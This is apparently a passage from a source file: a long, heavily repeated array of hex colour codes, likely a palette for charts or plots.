"#7C6571", "#9FB2A4", "#00D891", "#15A08A", "#BC65E9", "#FFFFFE", "#C6DC99", "#203B3C","#671190", "#6B3A64", "#F5E1FF", "#FFA0F2", "#CCAA35", "#374527", "#8BB400", "#797868","#C6005A", "#3B000A", "#C86240", "#29607C", "#402334", "#7D5A44", "#CCB87C", "#B88183","#AA5199", "#B5D6C3", "#A38469", "#9F94F0", "#A74571", "#B894A6", "#71BB8C", "#00B433","#789EC9", "#6D80BA", "#953F00", "#5EFF03", "#E4FFFC", "#1BE177", "#BCB1E5", "#76912F","#003109", "#0060CD", "#D20096", "#895563", "#29201D", "#5B3213", "#A76F42", "#89412E","#1A3A2A", "#494B5A", "#A88C85", "#F4ABAA", "#A3F3AB", "#00C6C8", "#EA8B66", "#958A9F","#BDC9D2", "#9FA064", "#BE4700", "#658188", "#83A485", "#453C23", "#47675D", "#3A3F00",
"#061203", "#DFFB71", "#868E7E", "#98D058", "#6C8F7D", "#D7BFC2", "#3C3E6E", "#D83D66","#2F5D9B", "#6C5E46", "#D25B88", "#5B656C", "#00B57F", "#545C46", "#866097", "#365D25","#252F99", "#00CCFF", "#674E60", "#FC009C", "#92896B",'#5e4fa2', '#3288bd', '#66c2a5', '#abdda4', '#e6f598', '#ffffbf', '#fee08b', '#fdae61','#f46d43', '#d53e4f', '#9e0142','#8dd3c7', '#ffffb3', '#bebada', '#fb8072', '#80b1d3', '#fdb462', '#b3de69', '#fccde5','#d9d9d9','#bc80bd', '#ccebc5', '#ffed6f','#66c2a5', '#fc8d62', '#8da0cb', '#e78ac3', '#a6d854', '#ffd92f', '#e5c494', '#b3b3b3','#1b9e77', '#d95f02', '#7570b3', '#e7298a', '#66a61e', '#e6ab02', '#a6761d', '#666666','#bc9797', '#a0db8e', '#d69ce1', '#caffcd', '#ffcaf8', '#cafff7', '#f1b4b2', '#030449',
'#003366', '#dec9ab', '#d25757', '#f7d708','#1c29b5', '#b0c997', '#005555', '#f9c3d3', '#0f4c81', '#edc06a', '#bd5915', '#b097c9', '#c2002c', '#808080', '#feff97', '#fd81eb', '#8fb8ff', '#bdffa3', '#ffb5b5', '#0f4c81', '#d7d8ee','#73c7de','#aaaacc','#758eb7', '#f2b6ae', '#f0a890', '#a860a8', '#604890', '#f07878', '#443133', '#ffdecc', '#65bfc1','#ffad19', '#ff9e7d', '#dda97b','#a1b1cc','#d6a562','#c9a48f','#c7906d','#f9733e', '#ffc104', '#624a4c', '#c1b8c9',"#FFFF00", "#1CE6FF", "#FF34FF", "#FF4A46", "#008941", "#006FA6", "#A30059","#FFDBE5", "#7A4900", "#0000A6", "#63FFAC", "#B79762", "#004D43", "#8FB0FF", "#997D87","#5A0007", "#809693", "#FEFFE6", "#1B4400", "#4FC601", "#3B5DFF", "#4A3B53", "#FF2F80",
"#61615A", "#BA0900", "#6B7900", "#00C2A0", "#FFAA92", "#FF90C9", "#B903AA", "#D16100","#DDEFFF", "#000035", "#7B4F4B", "#A1C299", "#300018", "#0AA6D8", "#013349", "#00846F","#372101", "#FFB500", "#C2FFED", "#A079BF", "#CC0744", "#C0B9B2", "#C2FF99", "#001E09","#00489C", "#6F0062", "#0CBD66", "#EEC3FF", "#456D75", "#B77B68", "#7A87A1", "#788D66","#885578", "#FAD09F", "#FF8A9A", "#D157A0", "#BEC459", "#456648", "#0086ED", "#886F4C","#34362D", "#B4A8BD", "#00A6AA", "#452C2C", "#636375", "#A3C8C9", "#FF913F", "#938A81","#575329", "#00FECF", "#B05B6F", "#8CD0FF", "#3B9700", "#04F757", "#C8A1A1", "#1E6E00","#7900D7", "#A77500", "#6367A9", "#A05837", "#6B002C", "#772600", "#D790FF", "#9B9700",
"#549E79", "#FFF69F", "#201625", "#72418F", "#BC23FF", "#99ADC0", "#3A2465", "#922329","#5B4534", "#FDE8DC", "#404E55", "#0089A3", "#CB7E98", "#A4E804", "#324E72", "#6A3A4C","#83AB58", "#001C1E", "#D1F7CE", "#004B28", "#C8D0F6", "#A3A489", "#806C66", "#222800","#BF5650", "#E83000", "#66796D", "#DA007C", "#FF1A59", "#8ADBB4", "#1E0200", "#5B4E51","#C895C5", "#320033", "#FF6832", "#66E1D3", "#CFCDAC", "#D0AC94", "#7ED379", "#012C58","#7A7BFF", "#D68E01", "#353339", "#78AFA1", "#FEB2C6", "#75797C", "#837393", "#943A4D","#B5F4FF", "#D2DCD5", "#9556BD", "#6A714A", "#001325", "#02525F", "#0AA3F7", "#E98176","#DBD5DD", "#5EBCD1", "#3D4F44", "#7E6405", "#02684E", "#962B75", "#8D8546", "#9695C5",
"#E773CE", "#D86A78", "#3E89BE", "#CA834E", "#518A87", "#5B113C", "#55813B", "#E704C4","#00005F", "#A97399", "#4B8160", "#59738A", "#FF5DA7", "#F7C9BF", "#643127", "#513A01","#6B94AA", "#51A058", "#A45B02", "#1D1702", "#E20027", "#E7AB63", "#4C6001", "#9C6966","#64547B", "#97979E", "#006A66", "#391406", "#F4D749", "#0045D2", "#006C31", "#DDB6D0","#7C6571", "#9FB2A4", "#00D891", "#15A08A", "#BC65E9", "#FFFFFE", "#C6DC99", "#203B3C","#671190", "#6B3A64", "#F5E1FF", "#FFA0F2", "#CCAA35", "#374527", "#8BB400", "#797868","#C6005A", "#3B000A", "#C86240", "#29607C", "#402334", "#7D5A44", "#CCB87C", "#B88183","#AA5199", "#B5D6C3", "#A38469", "#9F94F0", "#A74571", "#B894A6", "#71BB8C", "#00B433","#789EC9", "#6D80BA", "#953F00", "#5EFF03", "#E4FFFC", "#1BE177", "#BCB1E5", "#76912F","#003109", "#0060CD", "#D20096", "#895563", "#29201D", "#5B3213", "#A76F42", "#89412E",
"#1A3A2A", "#494B5A", "#A88C85", "#F4ABAA", "#A3F3AB", "#00C6C8", "#EA8B66", "#958A9F","#BDC9D2", "#9FA064", "#BE4700", "#658188", "#83A485", "#453C23", "#47675D", "#3A3F00","#061203", "#DFFB71", "#868E7E", "#98D058", "#6C8F7D", "#D7BFC2", "#3C3E6E", "#D83D66","#2F5D9B", "#6C5E46", "#D25B88", "#5B656C", "#00B57F", "#545C46", "#866097", "#365D25","#252F99", "#00CCFF", "#674E60", "#FC009C", "#92896B",'#5e4fa2', '#3288bd', '#66c2a5', '#abdda4', '#e6f598', '#ffffbf', '#fee08b', '#fdae61', '#f46d43', '#d53e4f', '#9e0142','#003366', '#dec9ab', '#d25757', '#f7d708','#1c29b5', '#b0c997', '#005555', '#f9c3d3', '#0f4c81', '#edc06a', '#bd5915', '#b097c9', '#c2002c', '#808080', '#66c2a5', '#fc8d62', '#8da0cb', '#e78ac3', '#a6d854', '#ffd92f', '#e5c494', '#b3b3b3','#1b9e77', '#d95f02', '#7570b3', '#e7298a', '#66a61e', '#e6ab02', '#a6761d', '#666666','#8dd3c7', '#ffffb3', '#bebada', '#fb8072', '#80b1d3', '#fdb462', '#b3de69', '#fccde5', '#d9d9d9','#bc80bd', '#ccebc5', '#ffed6f',
'#bc9797', '#a0db8e', '#d69ce1', '#caffcd', '#ffcaf8', '#cafff7', '#f1b4b2', '#030449', '#feff97', '#fd81eb', '#8fb8ff', '#bdffa3', '#ffb5b5', '#0f4c81', '#d7d8ee','#73c7de','#aaaacc','#758eb7', '#f2b6ae', '#f0a890', '#a860a8', '#604890', '#f07878', '#443133', '#ffdecc', '#65bfc1','#ffad19', '#ff9e7d', '#dda97b','#a1b1cc','#d6a562','#c9a48f','#c7906d','#f9733e', '#ffc104', '#624a4c', '#c1b8c9',"#FFFF00", "#1CE6FF", "#FF34FF", "#FF4A46", "#008941", "#006FA6", "#A30059","#FFDBE5", "#7A4900", "#0000A6", "#63FFAC", "#B79762", "#004D43", "#8FB0FF", "#997D87","#5A0007", "#809693", "#FEFFE6", "#1B4400", "#4FC601", "#3B5DFF", "#4A3B53", "#FF2F80","#61615A", "#BA0900", "#6B7900", "#00C2A0", "#FFAA92", "#FF90C9", "#B903AA", "#D16100","#DDEFFF", "#000035", "#7B4F4B", "#A1C299", "#300018", "#0AA6D8", "#013349", "#00846F","#372101", "#FFB500", "#C2FFED", "#A079BF", "#CC0744", "#C0B9B2", "#C2FF99", "#001E09","#00489C", "#6F0062", "#0CBD66", "#EEC3FF", "#456D75", "#B77B68", "#7A87A1", "#788D66",
"#885578", "#FAD09F", "#FF8A9A", "#D157A0", "#BEC459", "#456648", "#0086ED", "#886F4C","#34362D", "#B4A8BD", "#00A6AA", "#452C2C", "#636375", "#A3C8C9", "#FF913F", "#938A81","#575329", "#00FECF", "#B05B6F", "#8CD0FF", "#3B9700", "#04F757", "#C8A1A1", "#1E6E00","#7900D7", "#A77500", "#6367A9", "#A05837", "#6B002C", "#772600", "#D790FF", "#9B9700","#549E79", "#FFF69F", "#201625", "#72418F", "#BC23FF", "#99ADC0", "#3A2465", "#922329", "#5B4534", "#FDE8DC", "#404E55", "#0089A3", "#CB7E98", "#A4E804", "#324E72", "#6A3A4C","#83AB58", "#001C1E", "#D1F7CE", "#004B28", "#C8D0F6", "#A3A489", "#806C66", "#222800","#BF5650", "#E83000", "#66796D", "#DA007C", "#FF1A59", "#8ADBB4", "#1E0200", "#5B4E51",
"#C895C5", "#320033", "#FF6832", "#66E1D3", "#CFCDAC", "#D0AC94", "#7ED379", "#012C58","#7A7BFF", "#D68E01", "#353339", "#78AFA1", "#FEB2C6", "#75797C", "#837393", "#943A4D","#B5F4FF", "#D2DCD5", "#9556BD", "#6A714A", "#001325", "#02525F", "#0AA3F7", "#E98176","#DBD5DD", "#5EBCD1", "#3D4F44", "#7E6405", "#02684E", "#962B75", "#8D8546", "#9695C5","#E773CE", "#D86A78", "#3E89BE", "#CA834E", "#518A87", "#5B113C", "#55813B", "#E704C4","#00005F", "#A97399", "#4B8160", "#59738A", "#FF5DA7", "#F7C9BF", "#643127", "#513A01","#6B94AA", "#51A058", "#A45B02", "#1D1702", "#E20027", "#E7AB63", "#4C6001", "#9C6966","#64547B", "#97979E", "#006A66", "#391406", "#F4D749", "#0045D2", "#006C31", "#DDB6D0",
"#7C6571", "#9FB2A4", "#00D891", "#15A08A", "#BC65E9", "#FFFFFE", "#C6DC99", "#203B3C","#671190", "#6B3A64", "#F5E1FF", "#FFA0F2", "#CCAA35", "#374527", "#8BB400", "#797868","#C6005A", "#3B000A", "#C86240", "#29607C", "#402334", "#7D5A44", "#CCB87C", "#B88183","#AA5199", "#B5D6C3", "#A38469", "#9F94F0", "#A74571", "#B894A6", "#71BB8C", "#00B433","#789EC9", "#6D80BA", "#953F00", "#5EFF03", "#E4FFFC", "#1BE177", "#BCB1E5", "#76912F","#003109", "#0060CD", "#D20096", "#895563", "#29201D", "#5B3213", "#A76F42", "#89412E","#1A3A2A", "#494B5A", "#A88C85", "#F4ABAA", "#A3F3AB", "#00C6C8", "#EA8B66", "#958A9F", "#BDC9D2", "#9FA064", "#BE4700", "#658188", "#83A485", "#453C23", "#47675D", "#3A3F00",
"#061203", "#DFFB71", "#868E7E", "#98D058", "#6C8F7D", "#D7BFC2", "#3C3E6E", "#D83D66","#2F5D9B", "#6C5E46", "#D25B88", "#5B656C", "#00B57F", "#545C46", "#866097", "#365D25","#252F99", "#00CCFF", "#674E60", "#FC009C", "#92896B",
'#5e4fa2', '#3288bd', '#66c2a5', '#abdda4', '#e6f598', '#ffffbf', '#fee08b', '#fdae61', '#f46d43', '#d53e4f', '#9e0142','#003366', '#dec9ab', '#d25757', '#f7d708','#1c29b5', '#b0c997', '#005555', '#f9c3d3', '#0f4c81','#edc06a', '#bd5915', '#b097c9', '#c2002c', '#808080', '#66c2a5', '#fc8d62', '#8da0cb', '#e78ac3', '#a6d854', '#ffd92f', '#e5c494', '#b3b3b3','#1b9e77', '#d95f02', '#7570b3', '#e7298a', '#66a61e', '#e6ab02', '#a6761d', '#666666','#8dd3c7', '#ffffb3', '#bebada', '#fb8072', '#80b1d3', '#fdb462', '#b3de69', '#fccde5','#d9d9d9','#bc80bd', '#ccebc5', '#ffed6f', '#bc9797', '#a0db8e', '#d69ce1', '#caffcd', '#ffcaf8', '#cafff7', '#f1b4b2', '#030449',
'#feff97', '#fd81eb', '#8fb8ff', '#bdffa3', '#ffb5b5', '#0f4c81', '#d7d8ee','#73c7de','#aaaacc','#758eb7', '#f2b6ae', '#f0a890', '#a860a8', '#604890', '#f07878', '#443133', '#ffdecc', '#65bfc1','#ffad19', '#ff9e7d', '#dda97b','#a1b1cc','#d6a562','#c9a48f','#c7906d','#f9733e','#ffc104', '#624a4c', '#c1b8c9', "#FFFF00", "#1CE6FF", "#FF34FF", "#FF4A46", "#008941", "#006FA6", "#A30059","#FFDBE5", "#7A4900", "#0000A6", "#63FFAC", "#B79762", "#004D43", "#8FB0FF", "#997D87","#5A0007", "#809693", "#FEFFE6", "#1B4400", "#4FC601", "#3B5DFF", "#4A3B53", "#FF2F80","#61615A", "#BA0900", "#6B7900", "#00C2A0", "#FFAA92", "#FF90C9", "#B903AA", "#D16100","#DDEFFF", "#000035", "#7B4F4B", "#A1C299", "#300018", "#0AA6D8", "#013349", "#00846F","#372101", "#FFB500", "#C2FFED", "#A079BF", "#CC0744", "#C0B9B2", "#C2FF99", "#001E09","#00489C", "#6F0062", "#0CBD66", "#EEC3FF", "#456D75", "#B77B68", "#7A87A1", "#788D66","#885578", "#FAD09F", "#FF8A9A", "#D157A0", "#BEC459", "#456648", "#0086ED", "#886F4C",
"#34362D", "#B4A8BD", "#00A6AA", "#452C2C", "#636375", "#A3C8C9", "#FF913F", "#938A81","#575329", "#00FECF", "#B05B6F", "#8CD0FF", "#3B9700", "#04F757", "#C8A1A1", "#1E6E00","#7900D7", "#A77500", "#6367A9", "#A05837", "#6B002C", "#772600", "#D790FF", "#9B9700","#549E79", "#FFF69F", "#201625", "#72418F", "#BC23FF", "#99ADC0", "#3A2465", "#922329","#5B4534", "#FDE8DC", "#404E55", "#0089A3", "#CB7E98", "#A4E804", "#324E72", "#6A3A4C","#83AB58", "#001C1E", "#D1F7CE", "#004B28", "#C8D0F6", "#A3A489", "#806C66", "#222800","#BF5650", "#E83000", "#66796D", "#DA007C", "#FF1A59", "#8ADBB4", "#1E0200", "#5B4E51",
"#C895C5", "#320033", "#FF6832", "#66E1D3", "#CFCDAC", "#D0AC94", "#7ED379", "#012C58","#7A7BFF", "#D68E01", "#353339", "#78AFA1", "#FEB2C6", "#75797C", "#837393", "#943A4D","#B5F4FF", "#D2DCD5", "#9556BD", "#6A714A", "#001325", "#02525F", "#0AA3F7", "#E98176","#DBD5DD", "#5EBCD1", "#3D4F44", "#7E6405", "#02684E", "#962B75", "#8D8546", "#9695C5","#E773CE", "#D86A78", "#3E89BE", "#CA834E", "#518A87", "#5B113C", "#55813B", "#E704C4","#00005F", "#A97399", "#4B8160", "#59738A", "#FF5DA7", "#F7C9BF", "#643127", "#513A01","#6B94AA", "#51A058", "#A45B02", "#1D1702", "#E20027", "#E7AB63", "#4C6001", "#9C6966","#64547B", "#97979E", "#006A66", "#391406", "#F4D749", "#0045D2", "#006C31", "#DDB6D0",
"#7C6571", "#9FB2A4", "#00D891", "#15A08A", "#BC65E9", "#FFFFFE", "#C6DC99", "#203B3C","#671190", "#6B3A64", "#F5E1FF", "#FFA0F2", "#CCAA35", "#374527", "#8BB400", "#797868","#C6005A", "#3B000A", "#C86240", "#29607C", "#402334", "#7D5A44", "#CCB87C", "#B88183","#AA5199", "#B5D6C3", "#A38469", "#9F94F0", "#A74571", "#B894A6", "#71BB8C", "#00B433","#789EC9", "#6D80BA", "#953F00", "#5EFF03", "#E4FFFC", "#1BE177", "#BCB1E5", "#76912F","#003109", "#0060CD", "#D20096", "#895563", "#29201D", "#5B3213", "#A76F42", "#89412E","#1A3A2A", "#494B5A", "#A88C85", "#F4ABAA", "#A3F3AB", "#00C6C8", "#EA8B66", "#958A9F","#BDC9D2", "#9FA064", "#BE4700", "#658188", "#83A485", "#453C23", "#47675D", "#3A3F00",
"#061203", "#DFFB71", "#868E7E", "#98D058", "#6C8F7D", "#D7BFC2", "#3C3E6E", "#D83D66","#2F5D9B", "#6C5E46", "#D25B88", "#5B656C", "#00B57F", "#545C46", "#866097", "#365D25","#252F99", "#00CCFF", "#674E60", "#FC009C", "#92896B",'#5e4fa2', '#3288bd', '#66c2a5', '#abdda4', '#e6f598', '#ffffbf', '#fee08b', '#fdae61','#f46d43', '#d53e4f', '#9e0142','#8dd3c7', '#ffffb3', '#bebada', '#fb8072', '#80b1d3', '#fdb462', '#b3de69', '#fccde5','#d9d9d9','#bc80bd', '#ccebc5', '#ffed6f','#66c2a5', '#fc8d62', '#8da0cb', '#e78ac3', '#a6d854', '#ffd92f', '#e5c494', '#b3b3b3','#1b9e77', '#d95f02', '#7570b3', '#e7298a', '#66a61e', '#e6ab02', '#a6761d', '#666666','#bc9797', '#a0db8e', '#d69ce1', '#caffcd', '#ffcaf8', '#cafff7', '#f1b4b2', '#030449',
'#003366', '#dec9ab', '#d25757', '#f7d708','#1c29b5', '#b0c997', '#005555', '#f9c3d3', '#0f4c81', '#edc06a', '#bd5915', '#b097c9', '#c2002c', '#808080', '#feff97', '#fd81eb', '#8fb8ff', '#bdffa3', '#ffb5b5', '#0f4c81', '#d7d8ee','#73c7de','#aaaacc','#758eb7', '#f2b6ae', '#f0a890', '#a860a8', '#604890', '#f07878', '#443133', '#ffdecc', '#65bfc1','#ffad19', '#ff9e7d', '#dda97b','#a1b1cc','#d6a562','#c9a48f','#c7906d','#f9733e', '#ffc104', '#624a4c', '#c1b8c9',"#FFFF00", "#1CE6FF", "#FF34FF", "#FF4A46", "#008941", "#006FA6", "#A30059","#FFDBE5", "#7A4900", "#0000A6", "#63FFAC", "#B79762", "#004D43", "#8FB0FF", "#997D87","#5A0007", "#809693", "#FEFFE6", "#1B4400", "#4FC601", "#3B5DFF", "#4A3B53", "#FF2F80",
"#61615A", "#BA0900", "#6B7900", "#00C2A0", "#FFAA92", "#FF90C9", "#B903AA", "#D16100","#DDEFFF", "#000035", "#7B4F4B", "#A1C299", "#300018", "#0AA6D8", "#013349", "#00846F","#372101", "#FFB500", "#C2FFED", "#A079BF", "#CC0744", "#C0B9B2", "#C2FF99", "#001E09","#00489C", "#6F0062", "#0CBD66", "#EEC3FF", "#456D75", "#B77B68", "#7A87A1", "#788D66","#885578", "#FAD09F", "#FF8A9A", "#D157A0", "#BEC459", "#456648", "#0086ED", "#886F4C","#34362D", "#B4A8BD", "#00A6AA", "#452C2C", "#636375", "#A3C8C9", "#FF913F", "#938A81","#575329", "#00FECF", "#B05B6F", "#8CD0FF", "#3B9700", "#04F757", "#C8A1A1", "#1E6E00","#7900D7", "#A77500", "#6367A9", "#A05837", "#6B002C", "#772600", "#D790FF", "#9B9700",
"#549E79", "#FFF69F", "#201625", "#72418F", "#BC23FF", "#99ADC0", "#3A2465", "#922329","#5B4534", "#FDE8DC", "#404E55", "#0089A3", "#CB7E98", "#A4E804", "#324E72", "#6A3A4C","#83AB58", "#001C1E", "#D1F7CE", "#004B28", "#C8D0F6", "#A3A489", "#806C66", "#222800","#BF5650", "#E83000", "#66796D", "#DA007C", "#FF1A59", "#8ADBB4", "#1E0200", "#5B4E51","#C895C5", "#320033", "#FF6832", "#66E1D3", "#CFCDAC", "#D0AC94", "#7ED379", "#012C58","#7A7BFF", "#D68E01", "#353339", "#78AFA1", "#FEB2C6", "#75797C", "#837393", "#943A4D","#B5F4FF", "#D2DCD5", "#9556BD", "#6A714A", "#001325", "#02525F", "#0AA3F7", "#E98176","#DBD5DD", "#5EBCD1", "#3D4F44", "#7E6405", "#02684E", "#962B75", "#8D8546", "#9695C5",
"#E773CE", "#D86A78", "#3E89BE", "#CA834E", "#518A87", "#5B113C", "#55813B", "#E704C4","#00005F", "#A97399", "#4B8160", "#59738A", "#FF5DA7", "#F7C9BF", "#643127", "#513A01","#6B94AA", "#51A058", "#A45B02", "#1D1702", "#E20027", "#E7AB63", "#4C6001", "#9C6966","#64547B", "#97979E", "#006A66", "#391406", "#F4D749", "#0045D2", "#006C31", "#DDB6D0","#7C6571", "#9FB2A4", "#00D891", "#15A08A", "#BC65E9", "#FFFFFE", "#C6DC99", "#203B3C","#671190", "#6B3A64", "#F5E1FF", "#FFA0F2", "#CCAA35", "#374527", "#8BB400", "#797868","#C6005A", "#3B000A", "#C86240", "#29607C", "#402334", "#7D5A44", "#CCB87C", "#B88183","#AA5199", "#B5D6C3", "#A38469", "#9F94F0", "#A74571", "#B894A6", "#71BB8C", "#00B433","#789EC9", "#6D80BA", "#953F00", "#5EFF03", "#E4FFFC", "#1BE177", "#BCB1E5", "#76912F","#003109", "#0060CD", "#D20096", "#895563", "#29201D", "#5B3213", "#A76F42", "#89412E",
"#1A3A2A", "#494B5A", "#A88C85", "#F4ABAA", "#A3F3AB", "#00C6C8", "#EA8B66", "#958A9F","#BDC9D2", "#9FA064", "#BE4700", "#658188", "#83A485", "#453C23", "#47675D", "#3A3F00","#061203", "#DFFB71", "#868E7E", "#98D058", "#6C8F7D", "#D7BFC2", "#3C3E6E", "#D83D66","#2F5D9B", "#6C5E46", "#D25B88", "#5B656C", "#00B57F", "#545C46", "#866097", "#365D25","#252F99", "#00CCFF", "#674E60", "#FC009C", "#92896B",'#5e4fa2', '#3288bd', '#66c2a5', '#abdda4', '#e6f598', '#ffffbf', '#fee08b', '#fdae61', '#f46d43', '#d53e4f', '#9e0142','#003366', '#dec9ab', '#d25757', '#f7d708','#1c29b5', '#b0c997', '#005555', '#f9c3d3', '#0f4c81', '#edc06a', '#bd5915', '#b097c9', '#c2002c', '#808080', '#66c2a5', '#fc8d62', '#8da0cb', '#e78ac3', '#a6d854', '#ffd92f', '#e5c494', '#b3b3b3','#1b9e77', '#d95f02', '#7570b3', '#e7298a', '#66a61e', '#e6ab02', '#a6761d', '#666666','#8dd3c7', '#ffffb3', '#bebada', '#fb8072', '#80b1d3', '#fdb462', '#b3de69', '#fccde5', '#d9d9d9','#bc80bd', '#ccebc5', '#ffed6f',
'#bc9797', '#a0db8e', '#d69ce1', '#caffcd', '#ffcaf8', '#cafff7', '#f1b4b2', '#030449', '#feff97', '#fd81eb', '#8fb8ff', '#bdffa3', '#ffb5b5', '#0f4c81', '#d7d8ee','#73c7de','#aaaacc','#758eb7', '#f2b6ae', '#f0a890', '#a860a8', '#604890', '#f07878', '#443133', '#ffdecc', '#65bfc1','#ffad19', '#ff9e7d', '#dda97b','#a1b1cc','#d6a562','#c9a48f','#c7906d','#f9733e', '#ffc104', '#624a4c', '#c1b8c9',"#FFFF00", "#1CE6FF", "#FF34FF", "#FF4A46", "#008941", "#006FA6", "#A30059","#FFDBE5", "#7A4900", "#0000A6", "#63FFAC", "#B79762", "#004D43", "#8FB0FF", "#997D87","#5A0007", "#809693", "#FEFFE6", "#1B4400", "#4FC601", "#3B5DFF", "#4A3B53", "#FF2F80","#61615A", "#BA0900", "#6B7900", "#00C2A0", "#FFAA92", "#FF90C9", "#B903AA", "#D16100","#DDEFFF", "#000035", "#7B4F4B", "#A1C299", "#300018", "#0AA6D8", "#013349", "#00846F","#372101", "#FFB500", "#C2FFED", "#A079BF", "#CC0744", "#C0B9B2", "#C2FF99", "#001E09","#00489C", "#6F0062", "#0CBD66", "#EEC3FF", "#456D75", "#B77B68", "#7A87A1", "#788D66",
"#885578", "#FAD09F", "#FF8A9A", "#D157A0", "#BEC459", "#456648", "#0086ED", "#886F4C","#34362D", "#B4A8BD", "#00A6AA", "#452C2C", "#636375", "#A3C8C9", "#FF913F", "#938A81","#575329", "#00FECF", "#B05B6F", "#8CD0FF", "#3B9700", "#04F757", "#C8A1A1", "#1E6E00","#7900D7", "#A77500", "#6367A9", "#A05837", "#6B002C", "#772600", "#D790FF", "#9B9700","#549E79", "#FFF69F", "#201625", "#72418F", "#BC23FF", "#99ADC0", "#3A2465", "#922329", "#5B4534", "#FDE8DC", "#404E55", "#0089A3", "#CB7E98", "#A4E804", "#324E72", "#6A3A4C","#83AB58", "#001C1E", "#D1F7CE", "#004B28", "#C8D0F6", "#A3A489", "#806C66", "#222800","#BF5650", "#E83000", "#66796D", "#DA007C", "#FF1A59", "#8ADBB4", "#1E0200", "#5B4E51",
"#C895C5", "#320033", "#FF6832", "#66E1D3", "#CFCDAC", "#D0AC94", "#7ED379", "#012C58","#7A7BFF", "#D68E01", "#353339", "#78AFA1", "#FEB2C6", "#75797C", "#837393", "#943A4D","#B5F4FF", "#D2DCD5", "#9556BD", "#6A714A", "#001325", "#02525F", "#0AA3F7", "#E98176","#DBD5DD", "#5EBCD1", "#3D4F44", "#7E6405", "#02684E", "#962B75", "#8D8546", "#9695C5","#E773CE", "#D86A78", "#3E89BE", "#CA834E", "#518A87", "#5B113C", "#55813B", "#E704C4","#00005F", "#A97399", "#4B8160", "#59738A", "#FF5DA7", "#F7C9BF", "#643127", "#513A01","#6B94AA", "#51A058", "#A45B02", "#1D1702", "#E20027", "#E7AB63", "#4C6001", "#9C6966","#64547B", "#97979E", "#006A66", "#391406", "#F4D749", "#0045D2", "#006C31", "#DDB6D0",
"#7C6571", "#9FB2A4", "#00D891", "#15A08A", "#BC65E9", "#FFFFFE", "#C6DC99", "#203B3C","#671190", "#6B3A64", "#F5E1FF", "#FFA0F2", "#CCAA35", "#374527", "#8BB400", "#797868","#C6005A", "#3B000A", "#C86240", "#29607C", "#402334", "#7D5A44", "#CCB87C", "#B88183","#AA5199", "#B5D6C3", "#A38469", "#9F94F0", "#A74571", "#B894A6", "#71BB8C", "#00B433","#789EC9", "#6D80BA", "#953F00", "#5EFF03", "#E4FFFC", "#1BE177", "#BCB1E5", "#76912F","#003109", "#0060CD", "#D20096", "#895563", "#29201D", "#5B3213", "#A76F42", "#89412E","#1A3A2A", "#494B5A", "#A88C85", "#F4ABAA", "#A3F3AB", "#00C6C8", "#EA8B66", "#958A9F", "#BDC9D2", "#9FA064", "#BE4700", "#658188", "#83A485", "#453C23", "#47675D", "#3A3F00",
"#061203", "#DFFB71", "#868E7E", "#98D058", "#6C8F7D", "#D7BFC2", "#3C3E6E", "#D83D66","#2F5D9B", "#6C5E46", "#D25B88", "#5B656C", "#00B57F", "#545C46", "#866097", "#365D25","#252F99", "#00CCFF", "#674E60", "#FC009C", "#92896B",
'#5e4fa2', '#3288bd', '#66c2a5', '#abdda4', '#e6f598', '#ffffbf', '#fee08b', '#fdae61', '#f46d43', '#d53e4f', '#9e0142','#003366', '#dec9ab', '#d25757', '#f7d708','#1c29b5', '#b0c997', '#005555', '#f9c3d3', '#0f4c81','#edc06a', '#bd5915', '#b097c9', '#c2002c', '#808080', '#66c2a5', '#fc8d62', '#8da0cb', '#e78ac3', '#a6d854', '#ffd92f', '#e5c494', '#b3b3b3','#1b9e77', '#d95f02', '#7570b3', '#e7298a', '#66a61e', '#e6ab02', '#a6761d', '#666666','#8dd3c7', '#ffffb3', '#bebada', '#fb8072', '#80b1d3', '#fdb462', '#b3de69', '#fccde5','#d9d9d9','#bc80bd', '#ccebc5', '#ffed6f', '#bc9797', '#a0db8e', '#d69ce1', '#caffcd', '#ffcaf8', '#cafff7', '#f1b4b2', '#030449',
'#feff97', '#fd81eb', '#8fb8ff', '#bdffa3', '#ffb5b5', '#0f4c81', '#d7d8ee','#73c7de','#aaaacc','#758eb7', '#f2b6ae', '#f0a890', '#a860a8', '#604890', '#f07878', '#443133', '#ffdecc', '#65bfc1','#ffad19', '#ff9e7d', '#dda97b','#a1b1cc','#d6a562','#c9a48f','#c7906d','#f9733e','#ffc104', '#624a4c', '#c1b8c9', "#FFFF00", "#1CE6FF", "#FF34FF", "#FF4A46", "#008941", "#006FA6", "#A30059","#FFDBE5", "#7A4900", "#0000A6", "#63FFAC", "#B79762", "#004D43", "#8FB0FF", "#997D87","#5A0007", "#809693", "#FEFFE6", "#1B4400", "#4FC601", "#3B5DFF", "#4A3B53", "#FF2F80","#61615A", "#BA0900", "#6B7900", "#00C2A0", "#FFAA92", "#FF90C9", "#B903AA", "#D16100","#DDEFFF", "#000035", "#7B4F4B", "#A1C299", "#300018", "#0AA6D8", "#013349", "#00846F","#372101", "#FFB500", "#C2FFED", "#A079BF", "#CC0744", "#C0B9B2", "#C2FF99", "#001E09","#00489C", "#6F0062", "#0CBD66", "#EEC3FF", "#456D75", "#B77B68", "#7A87A1", "#788D66","#885578", "#FAD09F", "#FF8A9A", "#D157A0", "#BEC459", "#456648", "#0086ED", "#886F4C",
"#34362D", "#B4A8BD", "#00A6AA", "#452C2C", "#636375", "#A3C8C9", "#FF913F", "#938A81","#575329", "#00FECF", "#B05B6F", "#8CD0FF", "#3B9700", "#04F757", "#C8A1A1", "#1E6E00","#7900D7", "#A77500", "#6367A9", "#A05837", "#6B002C", "#772600", "#D790FF", "#9B9700","#549E79", "#FFF69F", "#201625", "#72418F", "#BC23FF", "#99ADC0", "#3A2465", "#922329","#5B4534", "#FDE8DC", "#404E55", "#0089A3", "#CB7E98", "#A4E804", "#324E72", "#6A3A4C","#83AB58", "#001C1E", "#D1F7CE", "#004B28", "#C8D0F6", "#A3A489", "#806C66", "#222800","#BF5650", "#E83000", "#66796D", "#DA007C", "#FF1A59", "#8ADBB4", "#1E0200", "#5B4E51",
